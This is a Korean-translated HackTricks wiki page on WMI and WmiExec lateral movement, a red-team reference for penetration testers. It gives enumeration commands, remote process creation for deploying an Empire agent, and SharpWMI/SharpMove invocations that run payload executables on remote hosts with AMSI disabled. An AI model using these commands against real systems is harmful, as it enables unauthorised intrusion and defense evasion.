WmiExec

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์ž‘๋™ ๋ฐฉ์‹ ์„ค๋ช…

์‚ฌ์šฉ์ž ์ด๋ฆ„๊ณผ ๋น„๋ฐ€๋ฒˆํ˜ธ ๋˜๋Š” ํ•ด์‹œ๊ฐ€ ์•Œ๋ ค์ง„ ํ˜ธ์ŠคํŠธ์—์„œ ํ”„๋กœ์„ธ์Šค๋ฅผ ์—ด ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. WMI๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ Wmiexec๊ฐ€ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋ฉฐ, ๋ฐ˜๋Œ€ํ™”๋ฉด ์…ธ ๊ฒฝํ—˜์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

dcomexec.py: ๋‹ค์–‘ํ•œ DCOM ์—”๋“œํฌ์ธํŠธ๋ฅผ ํ™œ์šฉํ•˜์—ฌ ์ด ์Šคํฌ๋ฆฝํŠธ๋Š” wmiexec.py์™€ ์œ ์‚ฌํ•œ ๋ฐ˜๋Œ€ํ™”๋ฉด ์…ธ์„ ์ œ๊ณตํ•˜๋ฉฐ, ํŠนํžˆ ShellBrowserWindow DCOM ๊ฐ์ฒด๋ฅผ ํ™œ์šฉํ•ฉ๋‹ˆ๋‹ค. ํ˜„์žฌ MMC20, Application, Shell Windows ๋ฐ Shell Browser Window ๊ฐ์ฒด๋ฅผ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค. (์ถœ์ฒ˜: Hacking Articles)

WMI ๊ธฐ์ดˆ

๋„ค์ž„์ŠคํŽ˜์ด์Šค

๋””๋ ‰ํ† ๋ฆฌ ์Šคํƒ€์ผ์˜ ๊ณ„์ธต ๊ตฌ์กฐ๋กœ ๊ตฌ์„ฑ๋œ WMI์˜ ์ตœ์ƒ์œ„ ์ปจํ…Œ์ด๋„ˆ๋Š” \root์ด๋ฉฐ, ๊ทธ ์•„๋ž˜์— ๋„ค์ž„์ŠคํŽ˜์ด์Šค๋ผ๊ณ  ํ•˜๋Š” ์ถ”๊ฐ€ ๋””๋ ‰ํ† ๋ฆฌ๊ฐ€ ์กฐ์ง๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ๋„ค์ž„์ŠคํŽ˜์ด์Šค๋ฅผ ๋‚˜์—ดํ•˜๋Š” ๋ช…๋ น:

# Retrieval of Root namespaces
gwmi -namespace "root" -Class "__Namespace" | Select Name

# Enumeration of all namespaces (administrator privileges may be required)
Get-WmiObject -Class "__Namespace" -Namespace "Root" -List -Recurse 2> $null | select __Namespace | sort __Namespace

# Listing of namespaces within "root\cimv2"
Get-WmiObject -Class "__Namespace" -Namespace "root\cimv2" -List -Recurse 2> $null | select __Namespace | sort __Namespace

๋„ค์ž„์ŠคํŽ˜์ด์Šค ๋‚ด์˜ ํด๋ž˜์Šค๋ฅผ ๋‚˜์—ดํ•˜๋ ค๋ฉด ๋‹ค์Œ์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค:

gwmwi -List -Recurse # Defaults to "root\cimv2" if no namespace specified
gwmi -Namespace "root/microsoft" -List -Recurse

ํด๋ž˜์Šค

WMI ํด๋ž˜์Šค ์ด๋ฆ„, ์˜ˆ๋ฅผ ๋“ค์–ด win32_process, ๋ฐ ๊ทธ๊ฒƒ์ด ์œ„์น˜ํ•œ ๋„ค์ž„์ŠคํŽ˜์ด์Šค๋ฅผ ์•„๋Š” ๊ฒƒ์€ ๋ชจ๋“  WMI ์ž‘์—…์— ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. win32๋กœ ์‹œ์ž‘ํ•˜๋Š” ํด๋ž˜์Šค๋ฅผ ๋‚˜์—ดํ•˜๋Š” ๋ช…๋ น:

Get-WmiObject -Recurse -List -class win32* | more # Defaults to "root\cimv2"
gwmi -Namespace "root/microsoft" -List -Recurse -Class "MSFT_MpComput*"

ํด๋ž˜์Šค ํ˜ธ์ถœ:

# Defaults to "root/cimv2" when namespace isn't specified
Get-WmiObject -Class win32_share
Get-WmiObject -Namespace "root/microsoft/windows/defender" -Class MSFT_MpComputerStatus

Methods

Methods, which are one or more executable functions of WMI classes, can be executed.

# Class loading, method listing, and execution
$c = [wmiclass]"win32_share"
$c.methods
# To create a share: $c.Create("c:\share\path","name",0,$null,"My Description")
# Method listing and invocation
Invoke-WmiMethod -Class win32_share -Name Create -ArgumentList @($null, "Description", $null, "Name", $null, "c:\share\path",0)

WMI ์—ด๊ฑฐ

WMI ์„œ๋น„์Šค ์ƒํƒœ

WMI ์„œ๋น„์Šค๊ฐ€ ์ž‘๋™ํ•˜๋Š”์ง€ ํ™•์ธํ•˜๋Š” ๋ช…๋ น:

# WMI service status check
Get-Service Winmgmt

# Via CMD
net start | findstr "Instrumentation"

์‹œ์Šคํ…œ ๋ฐ ํ”„๋กœ์„ธ์Šค ์ •๋ณด

WMI๋ฅผ ํ†ตํ•ด ์‹œ์Šคํ…œ ๋ฐ ํ”„๋กœ์„ธ์Šค ์ •๋ณด ์ˆ˜์ง‘:

Get-WmiObject -ClassName win32_operatingsystem | select * | more
Get-WmiObject win32_process | Select Name, Processid

๊ณต๊ฒฉ์ž์—๊ฒŒ WMI๋Š” ์‹œ์Šคํ…œ์ด๋‚˜ ๋„๋ฉ”์ธ์— ๋Œ€ํ•œ ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ์—ด๊ฑฐํ•˜๋Š” ๊ฐ•๋ ฅํ•œ ๋„๊ตฌ์ž…๋‹ˆ๋‹ค.

wmic computerystem list full /format:list
wmic process list /format:list
wmic ntdomain list /format:list
wmic useraccount list /format:list
wmic group list /format:list
wmic sysaccount list /format:list

์›๊ฒฉ์—์„œ WMI๋ฅผ ํ†ตํ•ด ๋กœ์ปฌ ๊ด€๋ฆฌ์ž๋‚˜ ๋กœ๊ทธ์ธํ•œ ์‚ฌ์šฉ์ž์™€ ๊ฐ™์€ ํŠน์ • ์ •๋ณด๋ฅผ ์ฟผ๋ฆฌํ•˜๋Š” ๊ฒƒ์€ ์‹ ์ค‘ํ•œ ๋ช…๋ น ๊ตฌ์„ฑ์œผ๋กœ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

์ˆ˜๋™ ์›๊ฒฉ WMI ์ฟผ๋ฆฌ

์›๊ฒฉ ๋จธ์‹ ์—์„œ ๋กœ์ปฌ ๊ด€๋ฆฌ์ž๋ฅผ ์€๋ฐ€ํ•˜๊ฒŒ ์‹๋ณ„ํ•˜๊ณ  ๋กœ๊ทธ์ธํ•œ ์‚ฌ์šฉ์ž๋ฅผ ํ™•์ธํ•˜๋Š” ๊ฒƒ์€ ํŠน์ • WMI ์ฟผ๋ฆฌ๋ฅผ ํ†ตํ•ด ๋‹ฌ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. wmic๋Š” ์—ฌ๋Ÿฌ ๋…ธ๋“œ์—์„œ ๋™์‹œ์— ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•ด ํ…์ŠคํŠธ ํŒŒ์ผ์—์„œ ์ฝ๋Š” ๊ฒƒ๋„ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค.

WMI๋ฅผ ํ†ตํ•ด ํ”„๋กœ์„ธ์Šค๋ฅผ ์›๊ฒฉ์œผ๋กœ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•ด, ์˜ˆ๋ฅผ ๋“ค์–ด Empire ์—์ด์ „ํŠธ๋ฅผ ๋ฐฐํฌํ•˜๋Š” ๊ฒฝ์šฐ, ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋ช…๋ น ๊ตฌ์กฐ๊ฐ€ ์‚ฌ์šฉ๋˜๋ฉฐ, ์„ฑ๊ณต์ ์ธ ์‹คํ–‰์€ โ€œ0โ€œ์˜ ๋ฐ˜ํ™˜ ๊ฐ’์œผ๋กœ ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค:

wmic /node:hostname /user:user path win32_process call create "empire launcher string here"

์ด ํ”„๋กœ์„ธ์Šค๋Š” ์›๊ฒฉ ์‹คํ–‰ ๋ฐ ์‹œ์Šคํ…œ ์—ด๊ฑฐ๋ฅผ ์œ„ํ•œ WMI์˜ ๊ธฐ๋Šฅ์„ ๋ณด์—ฌ์ฃผ๋ฉฐ, ์‹œ์Šคํ…œ ๊ด€๋ฆฌ ๋ฐ ์นจํˆฌ ํ…Œ์ŠคํŠธ ๋ชจ๋‘์— ๋Œ€ํ•œ ์œ ์šฉ์„ฑ์„ ๊ฐ•์กฐํ•ฉ๋‹ˆ๋‹ค.

์ž๋™ ๋„๊ตฌ

SharpLateral redwmi HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
SharpWMI.exe action=exec [computername=HOST[,HOST2,...]] command=""C:\\temp\\process.exe [args]"" [amsi=disable] [result=true]
# Stealthier execution with VBS
SharpWMI.exe action=executevbs [computername=HOST[,HOST2,...]] [script-specification] [eventname=blah] [amsi=disable] [time-specs]
SharpMove.exe action=query computername=remote.host.local query="select * from win32_process" username=domain\user password=password
SharpMove.exe action=create computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true username=domain\user password=password
SharpMove.exe action=executevbs computername=remote.host.local eventname=Debug amsi=true username=domain\\user password=password
  • **Impacket์˜ wmiexec**๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ